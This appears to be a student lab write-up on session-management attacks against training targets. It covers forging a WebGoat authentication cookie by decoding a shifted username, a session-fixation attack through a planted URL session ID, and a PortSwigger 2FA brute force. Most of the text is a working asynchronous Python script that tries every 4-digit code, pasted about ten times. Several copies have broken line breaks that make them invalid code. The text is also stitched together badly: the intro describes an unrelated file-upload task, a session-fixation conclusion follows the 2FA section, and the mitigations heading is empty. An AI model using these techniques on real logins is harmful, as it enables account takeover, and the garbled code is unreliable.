Analyze and exploit session-related vulnerabilities

Imagine that SecureXit has developed a web-based document submission portal where users can upload their resumes, profile pictures, certificates, and other documents.

The portal is designed to accept only approved file types, such as JPG, PNG, and PDF. However, the application's file upload mechanism may have weak validation controls.

As a Cyber Security Analyst at SecureXit, your task is to evaluate whether an attacker could upload a file that violates the application's security policy by manipulating the HTTP request through Burp Suite.

Business Scenario

Pre-Lab Preparation

1. Lab Environment: Kali Linux and an intentionally vulnerable web application configured in an isolated virtual machine using VirtualBox or VMware.

2. Security Tools: Burp Suite Community Edition and a web browser configured to intercept and analyze HTTP requests.

3. Basic Knowledge: Understanding of HTTP requests, file upload mechanisms, MIME types, file extensions, and basic web application security.

Task 1: WebGoat Session Management Flaws

1

a

Downloaded the OWASP Broken Web Applications VM (version 1.2, released 3 Aug 2015) from VulnHub, via the SourceForge mirror link ​

b

Extracted the .7z archive using 7-Zip to obtain the .vmdk disk image.

c

Imported the VM into Oracle VirtualBox alongside existing machines (Kali Linux, Wazuh, metascan, hackme).

d

Configured Storage: the OWASP_Broken_Web_Apps-cl1.vmdk disk was attached to the SATA controller, with the IDE controller left empty.

e

Configured Network: Adapter 1 set to Bridged Adapter, bound to the host's wireless interface, with Promiscuous Mode set to Deny — this places the VM on the same LAN segment as the host for direct browser access.

f

Powered on the VM. The login banner confirmed access details:

Web apps: http://10.159.241.170/

Application login: username owaspbwa, password owaspbwa

g

Browsed to http://10.159.241.170 from the host browser and confirmed the owaspbwa landing page, listing the bundled training applications (WebGoat, WebGoat.NET, ESAPI SwingSet, Mutillidae II, RailsGoat, Bricks, etc.)

h

Selected OWASP WebGoat → Session Management Flaws from the left-hand menu to begin the exercises.

2

Hijack a Session / Spoof an Authentication Cookie

Goal: bypass WebGoat's authentication check by manipulating the AuthCookie value rather than supplying valid credentials.

3

Moved to Spoof an Authentication Cookie and logged in with the suggested test account webgoat / webgoat.

4

On login, WebGoat issued an AuthCookie with value 65432ubphcfx and a JSESSIONID, and displayed: "Welcome, webgoat – You have been authenticated with PARAMETERS."

a

Logged in again with the second suggested account, aspect / aspect. The resulting AuthCookie was 65432udfqtb.

b

Compared both cookie values side by side:

AccountAuthCookie value
Webgoat65432ubphcfx
aspect65432udfqtb

5

Observed that both cookies share the same leading block, 65432, and that the trailing characters are a simple Caesar-shifted encoding of the username:

  • webgoat → shift (w=x, e=f, b=c, g=h, o=p, a=b, t=u) → ubphcfx
  • webgoat = taogbew  shift w=x,e=f,b=c,g=h,o=p,a=b,t=u => ubphcfx
  • aspect → shift (a=b, s=t, p=q, e=f, c=d, t=u) → udfqtb

aspect = tcepsa shift  a=b,s=t,p=q,e=f,c=d,t=u =>  udfqtb

6

Applying the same +1 letter shift to the target username alice (a=b, l=m, i=j, c=d, e=f) gives fdjmb. Combined with the constant prefix, the forged cookie becomes 65432fdjmb.

7

Used Firefox DevTools → Storage → Cookies to edit the AuthCookie value on the live session to 65432fdjmb and refreshed the page.

The application responded: "Congratulations. You have successfully completed this lesson. Welcome, alice – You have been authenticated with COOKIE."

Result: authentication was bypassed entirely by predicting another user's cookie from its encoding pattern, with no need to know Alice's real password.

Goal: force a victim to use a session ID chosen by the attacker, then reuse that same ID after the victim authenticates to inherit their logged-in session

Task 2 : Session Fixation.

    Hacker Joe crafts the phishing link

      Acted as Hacker Joe, drafting a fake "Goat Hills Financial" account-verification email       addressed to jane.plane@owasp.org, spoofed as from admin@webgoatfinancial.com

1

a

   Edited the embedded link to append a self-chosen Session ID (SID) parameter: http://10.159.241.170/WebGoat/attack?Screen=132&menu=1800&SID=hacker_will_set_id_kadir7233

   Sent the mail; WebGoat confirmed Stage 1 complete.

    Victim Jane receives and opens the link

     Switched to the Victim Jane view and opened the received email, which reproduced the                    attacker's link containing the planted SID.

     Clicking the link landed on the Goat Hills Financial HR login page, confirming Stage 2 complete.

b

c

2

a

b

    Victim logs in using the fixed session

     Logged in as Jane with credentials Jane / tarzan while the URL still carried                               SID=hacker_will_set_id_kadir7233.

     The application authenticated Jane without issuing a new session ID, silently binding her             authenticated session to the attacker-supplied SID. WebGoat confirmed Stage 3 complete.

3

a

b

   Hacker Joe reuses the fixed SID

   Switched back to Hacker Joe and, before reusing the link, first tested it with an invalid SID                  (SID=NOVALIDSESS), which correctly returned an empty/unauthenticated login page —                  confirming the SID itself is what grants access.

   Replayed the original crafted link — ...&SID=hacker_will_set_id_kadir7233 — the exact value           planted in Stage 1.

  WebGoat displayed: "Congratulations. You have successfully completed this lesson." and rendered    Jane Plane's authenticated HR record directly to the attacker, including:

3

a

b

FieldValue
First nameJane
Last namePlane
Credit card typeMC
Credit card number74589864

2FA Bypass via Brute-Force — PortSwigger Lab

PortSwigger Web Security Academy · Authentication Vulnerabilities · Multi-Factor Authentication (Expert)

Goal: You already have a valid username/password (carlos:montoya) but not the 4-digit 2FA code. Solve the lab by brute-forcing the code on /login2 and reaching Carlos's account page.

Root cause: The app places no rate limit or lockout on the 2FA verification step, so every 4-digit code (0000–9999) can be tried.

 

  1. Open the lab and go to Login.

  2. Log in with carlos / montoya.

  3. You land on /login2, which asks for a 4-digit security code.

  4. Submit any code (e.g. 1234) — you'll see "Incorrect security code". This confirms the endpoint responds differently for wrong vs. right codes, which is what the brute-force loop will check for.

Client                                   Server

  | GET /login (session=ABC)         ---->  |

  | <----  CSRF=123                         |

  | POST /login (session=ABC)        ---->  |

  | <----  302 Found + Set-Cookie: session=XYZ

  | GET /login2 (session=XYZ)        ---->  |

  | <----  CSRF=456                         |

With Burp's proxy intercepting, walk through the flow once manually and note each request:

RequestMethodKey fields
/loginPOSTcsrf, username=carlos, password=montoya
/login2 (GET)GETreturns page with a fresh csrf value
/login2 (POST)POSTcsrf=<from GET>, mfa-code=<4-digit guess>

From HTTP history: a wrong guess returns HTTP 200 with the "Incorrect security code" page; the correct guess still returns HTTP 200 but the response body contains "Log out" instead — that's the success marker the script checks for.

Step 4 — Automate it (Python + aiohttp)

Built as an async script so many 4-digit guesses run concurrently instead of one at a time — essential since an in-browser, one-at-a-time brute force of 10,000 codes would be far too slow.

import asyncio
import aiohttp
import re

# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'

headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}

found = asyncio.Event()

def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None

async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return

        payload = f"{i:04d}"  # zero-padded, e.g. 0001, 0754

        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
                # Step A: GET /login, extract CSRF for login
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return

                # Step B: POST username+password -> new session cookie on success
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }
                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data
                ) as r2:
                    await r2.text()

                # Step C: GET /login2, extract its own fresh CSRF
                async with session.get(login2_url, headers=headers) as r3:
                    html2 = await r3.text()
                    csrf2 = extract_csrf(html2)
                    if not csrf2:
                        print(f"[!] No CSRF token on /login2, iteration {i}")
                        return

                # Step D: POST the 4-digit guess
                mfa_data = {
                    'csrf': csrf2,
                    'mfa-code': payload
                }
                async with session.post(
                    login2_url,
                    headers={**headers, "Referer": login2_url},
                    data=mfa_data
                ) as r4:
                    html3 = await r4.text()

                # Step E: success check
                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return

        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")

async def main():
    sem = asyncio.Semaphore(10)  # concurrency cap — tune to the network/lab's tolerance
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")

if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re

# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'

headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}

found = asyncio.Event()

def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None

async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return

        payload = f"{i:04d}"  # zero-padded, e.g. 0001, 0754

        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) 
            as session:
                # Step A: GET /login, extract CSRF for login
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return

                # Step B: POST username+password -> new session cookie on success
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }
                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data
                ) as r2:
                    await r2.text()

                # Step C: GET /login2, extract its own fresh CSRF
                async with session.get(login2_url, headers=headers) as r3:
                    html2 = await r3.text()
                    csrf2 = extract_csrf(html2)
                    if not csrf2:
                        print(f"[!] No CSRF token on /login2, iteration {i}")
                        return

                # Step D: POST the 4-digit guess
                mfa_data = {
                    'csrf': csrf2,
                    'mfa-code': payload
                }
                async with session.post(
                    login2_url,
                    headers={**headers, "Referer": login2_url},
                    data=mfa_data
                ) as r4:
                    html3 = await r4.text()

                # Step E: success check
                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return

        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")

async def main():
    sem = asyncio.Semaphore(10)  # concurrency cap — tune to the network/lab's tolerance
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")

if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re

# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'

headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}

found = asyncio.Event()

def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None

async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return

        payload = f"{i:04d}"  # zero-padded, e.g. 0001, 0754

        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
                # Step A: GET /login, extract CSRF for login
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return

                # Step B: POST username+password -> new session cookie on success
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }
                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data
                ) as r2:
                    await r2.text()

                # Step C: GET /login2, extract its own fresh CSRF
                async with session.get(login2_url, headers=headers) as r3:
                    html2 = await r3.text()
                    csrf2 = extract_csrf(html2)
                    if not csrf2:
                        print(f"[!] No CSRF token on /login2, iteration {i}")
                        return

                # Step D: POST the 4-digit guess
                mfa_data = {
                    'csrf': csrf2,
                    'mfa-code': payload
                }
                async with session.post(
                    login2_url,
                    headers={**headers, "Referer": login2_url},
                    data=mfa_data
                ) as r4:
                    html3 = await r4.text()

                # Step E: success check
                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return

        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")

async def main():
    sem = asyncio.Semaphore(10)  # concurrency cap — tune to the network/lab's tolerance
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")

if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re

# URLs — replace with your lab instance
login_url = 'https://YOUR-LAB-ID.web-security-academy.net/login'
login2_url = 'https://YOUR-LAB-ID.web-security-academy.net/login2'

headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}

found = asyncio.Event()

def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None

async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return

        payload = f"{i:04d}"  # zero-padded, e.g. 0001, 0754

        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
                # Step A: GET /login, extract CSRF for login
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return

                # Step B: POST username+password -> new session cookie on success
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }
                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data
                ) as r2:
                    await r2.text()

                # Step C: GET /login2, extract its own fresh CSRF
                async with session.get(login2_url, headers=headers) as r3:
                    html2 = await r3.text()
                    csrf2 = extract_csrf(html2)
                    if not csrf2:
                        print(f"[!] No CSRF token on /login2, iteration {i}")
                        return

                # Step D: POST the 4-digit guess
                mfa_data = {
                    'csrf': csrf2,
                    'mfa-code': payload
                }
                async with session.post(
                    login2_url,
                    headers={**headers, "Referer": login2_url},
                    data=mfa_data
                ) as r4:
                    html3 = await r4.text()

                # Step E: success check
                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return

        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")

async def main():
    sem = asyncio.Semaphore(10)  
    # concurrency cap — tune to the network/lab's tolerance
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")

if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re


# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069
.web-security-academy.net/login' 
# Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069
.web-security-academy.net/login2'
# Replace it with yours


headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}


found = asyncio.Event()


# Extract CSRF token
def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return


        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
                # Step 1: GET the login page and extract CSRF
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return


                # Step 2: POST login credentials with CSRF
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }


                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data,
                    allow_redirects=True
                ) as r2:
                    html2 = await r2.text()
                    mfa_csrf = extract_csrf(html2)
                    mfa_session = session
                    cookies = session.cookie_jar.filter_cookies(login_url)
                    mysession = cookies.get('session')
                    if not mfa_csrf:
                        print(f"[!] No MFA CSRF on iteration {i}")
                        return


                # Step 3: Try MFA codes
                payload = f"{i:04d}"
                mfa_data = {
                    "csrf": mfa_csrf,
                    "mfa-code": payload
                }


                try:
                    async with mfa_session.post(
                        login2_url,
                        headers={**headers, "Referer": login2_url},
                        data=mfa_data,
                        allow_redirects=True
                    ) as r3:
                        html3 = await r3.text()
                        status = r3.status
                except aiohttp.ClientError as e:
                    print(f"[!] Network error for code {payload}: {e}")


                if status == 200:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[{status}] Tried: {payload}, Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")


                if status == 400:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[!] 400 Bad Request for code {payload} — Session: {mysession.value} CSRF: {mfa_csrf}\n")


                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return




        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")


# Main event loop
async def main():
    sem = asyncio.Semaphore(10)  # Max concurrent requests (Dependent on the network's capability)
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")


# Entry
if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re


# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login' # Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2' # Replace it with yours


headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}


found = asyncio.Event()


# Extract CSRF token
def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return


        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar())
            as session:
                # Step 1: GET the login page and extract CSRF
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return


                # Step 2: POST login credentials with CSRF
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }


                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data,
                    allow_redirects=True
                ) as r2:
                    html2 = await r2.text()
                    mfa_csrf = extract_csrf(html2)
                    mfa_session = session
                    cookies = session.cookie_jar.filter_cookies(login_url)
                    mysession = cookies.get('session')
                    if not mfa_csrf:
                        print(f"[!] No MFA CSRF on iteration {i}")
                        return


                # Step 3: Try MFA codes
                payload = f"{i:04d}"
                mfa_data = {
                    "csrf": mfa_csrf,
                    "mfa-code": payload
                }


                try:
                    async with mfa_session.post(
                        login2_url,
                        headers={**headers, "Referer": login2_url},
                        data=mfa_data,
                        allow_redirects=True
                    ) as r3:
                        html3 = await r3.text()
                        status = r3.status
                except aiohttp.ClientError as e:
                    print(f"[!] Network error for code {payload}: {e}")


                if status == 200:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[{status}] Tried: {payload}, Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")


                if status == 400:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[!] 400 Bad Request for code {payload} — Session: {mysession.value} CSRF: {mfa_csrf}\n")


                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return




        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")


# Main event loop
async def main():
    sem = asyncio.Semaphore(10)  # Max concurrent requests (Dependent on the network's capability)
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")


# Entry
if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re


# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login' # Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2' # Replace it with yours


headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}


found = asyncio.Event()


# Extract CSRF token
def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return


        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
                # Step 1: GET the login page and extract CSRF
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return


                # Step 2: POST login credentials with CSRF
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }


                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data,
                    allow_redirects=True
                ) as r2:
                    html2 = await r2.text()
                    mfa_csrf = extract_csrf(html2)
                    mfa_session = session
                    cookies = session.cookie_jar.filter_cookies(login_url)
                    mysession = cookies.get('session')
                    if not mfa_csrf:
                        print(f"[!] No MFA CSRF on iteration {i}")
                        return


                # Step 3: Try MFA codes
                payload = f"{i:04d}"
                mfa_data = {
                    "csrf": mfa_csrf,
                    "mfa-code": payload
                }


                try:
                    async with mfa_session.post(
                        login2_url,
                        headers={**headers, "Referer": login2_url},
                        data=mfa_data,
                        allow_redirects=True
                    ) as r3:
                        html3 = await r3.text()
                        status = r3.status
                except aiohttp.ClientError as e:
                    print(f"[!] Network error for code {payload}: {e}")


                if status == 200:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[{status}] Tried: {payload}, Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")


                if status == 400:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[!] 400 Bad Request for code {payload} — Session: {mysession.value} CSRF: {mfa_csrf}\n")


                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return




        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")


# Main event loop
async def main():
    sem = asyncio.Semaphore(10)  # Max concurrent requests (Dependent on the network's capability)
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")


# Entry
if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re


# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login' 
# Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2' 
# Replace it with yours


headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}


found = asyncio.Event()


# Extract CSRF token
def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return


        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) 
            as session:
                # Step 1: GET the login page and extract CSRF
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return


                # Step 2: POST login credentials with CSRF
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }


                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data,
                    allow_redirects=True
                ) as r2:
                    html2 = await r2.text()
                    mfa_csrf = extract_csrf(html2)
                    mfa_session = session
                    cookies = session.cookie_jar.filter_cookies(login_url)
                    mysession = cookies.get('session')
                    if not mfa_csrf:
                        print(f"[!] No MFA CSRF on iteration {i}")
                        return


                # Step 3: Try MFA codes
                payload = f"{i:04d}"
                mfa_data = {
                    "csrf": mfa_csrf,
                    "mfa-code": payload
                }


                try:
                    async with mfa_session.post(
                        login2_url,
                        headers={**headers, "Referer": login2_url},
                        data=mfa_data,
                        allow_redirects=True
                    ) as r3:
                        html3 = await r3.text()
                        status = r3.status
                except aiohttp.ClientError as e:
                    print(f"[!] Network error for code {payload}: {e}")


                if status == 200:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[{status}] Tried: {payload},
                        Session: {mysession.value if mysession else 'None'}, 
                        CSRF: {mfa_csrf}\n")


                if status == 400:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[!] 400 Bad Request for code {payload} — 
                        Session: {mysession.value} CSRF: {mfa_csrf}\n")


                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return




        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")


# Main event loop
async def main():
    sem = asyncio.Semaphore(10)  # Max concurrent requests 
    (Dependent on the network's capability)
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")


# Entry
if __name__ == "__main__":
    asyncio.run(main())
import asyncio
import aiohttp
import re


# URLs and Headers
login_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login'
# Replace it with yours
login2_url = 'https://0a83001e04f8425c80d10883003a0069.web-security-academy.net/login2' 
# Replace it with yours


headers = {
    "User-Agent": "Mozilla/5.0",
    "Accept": "text/html",
    "Accept-Language": "en-US,en;q=0.6",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1"
}


found = asyncio.Event()


# Extract CSRF token
def extract_csrf(text):
    match = re.search(r'name="csrf"\s+value="([^"]+)"', text)
    return match.group(1) if match else None
# Attempt MFA code
async def attempt_code(sem, i):
    async with sem:
        if found.is_set():
            return


        try:
            async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar())
            as session:
                # Step 1: GET the login page and extract CSRF
                async with session.get(login_url, headers=headers) as r1:
                    html1 = await r1.text()
                    csrf1 = extract_csrf(html1)
                    if not csrf1:
                        print(f"[!] No CSRF token on iteration {i}")
                        return


                # Step 2: POST login credentials with CSRF
                login_data = {
                    'csrf': csrf1,
                    'username': 'carlos',
                    'password': 'montoya'
                }


                async with session.post(
                    login_url,
                    headers={**headers, "Referer": login_url},
                    data=login_data,
                    allow_redirects=True
                ) as r2:
                    html2 = await r2.text()
                    mfa_csrf = extract_csrf(html2)
                    mfa_session = session
                    cookies = session.cookie_jar.filter_cookies(login_url)
                    mysession = cookies.get('session')
                    if not mfa_csrf:
                        print(f"[!] No MFA CSRF on iteration {i}")
                        return


                # Step 3: Try MFA codes
                payload = f"{i:04d}"
                mfa_data = {
                    "csrf": mfa_csrf,
                    "mfa-code": payload
                }


                try:
                    async with mfa_session.post(
                        login2_url,
                        headers={**headers, "Referer": login2_url},
                        data=mfa_data,
                        allow_redirects=True
                    ) as r3:
                        html3 = await r3.text()
                        status = r3.status
                except aiohttp.ClientError as e:
                    print(f"[!] Network error for code {payload}: {e}")


                if status == 200:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[{status}] Tried: {payload}, 
                        Session: {mysession.value if mysession else 'None'}, CSRF: {mfa_csrf}\n")


                if status == 400:
                    with open('./logs.txt', 'a') as file:
                        file.write(f"[!] 400 Bad Request for code {payload} — 
                        Session: {mysession.value} CSRF: {mfa_csrf}\n")


                if 'Log out' in html3:
                    found.set()
                    cookies = session.cookie_jar.filter_cookies(login2_url)
                    print(f"Success! Code: {payload}")
                    print(f"Session Cookie: {cookies.get('session')}")
                    return




        except Exception as e:
            print(f"[!] Error in iteration {i}: {e}")


# Main event loop
async def main():
    sem = asyncio.Semaphore(10)  # Max concurrent requests 
    (Dependent on the network's capability)
    tasks = [attempt_code(sem, i) for i in range(0, 10000)]
    await asyncio.gather(*tasks)
    if not found.is_set():
        print("[*] Done. No valid code found.")


# Entry
if __name__ == "__main__":
    asyncio.run(main())

Step 5 — Run and verify

  1. Run the script: python "2FA bypass.py".

  2. It logs each attempt ([200] Tried: 0754, Session: ..., CSRF: ...).

  3. On a hit: Success! Code: 0754 plus the resulting session cookie.

  4. Paste that 4-digit code into the lab's login page and submit — the banner changes to "Congratulations, you solved the lab!"

Result: because the application accepted a session identifier supplied externally (via URL) instead of generating a fresh one at login, the attacker who fixed the SID before authentication was able to hijack the victim's authenticated session afterward — without ever learning her password — and retrieve her personal and financial data.

Key Observations and Mitigations

